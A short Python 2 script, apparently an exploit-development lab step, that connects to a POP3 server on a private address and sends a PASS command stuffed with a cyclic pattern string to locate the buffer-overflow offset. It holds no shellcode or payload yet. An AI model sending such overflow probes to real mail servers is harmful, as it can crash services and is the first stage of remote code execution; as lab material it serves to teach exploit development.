2

import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4"


try:
    s.connect(('192.168.0.18',110))
    data = s.recv(1024)
    s.send('USER username' +'\r\n')
    data = s.recv(1024)
    s.send('PASS ' + buffer + '\r\n')
    data = s.recv(1024)
    s.close()
except:
    print "Unable to connect"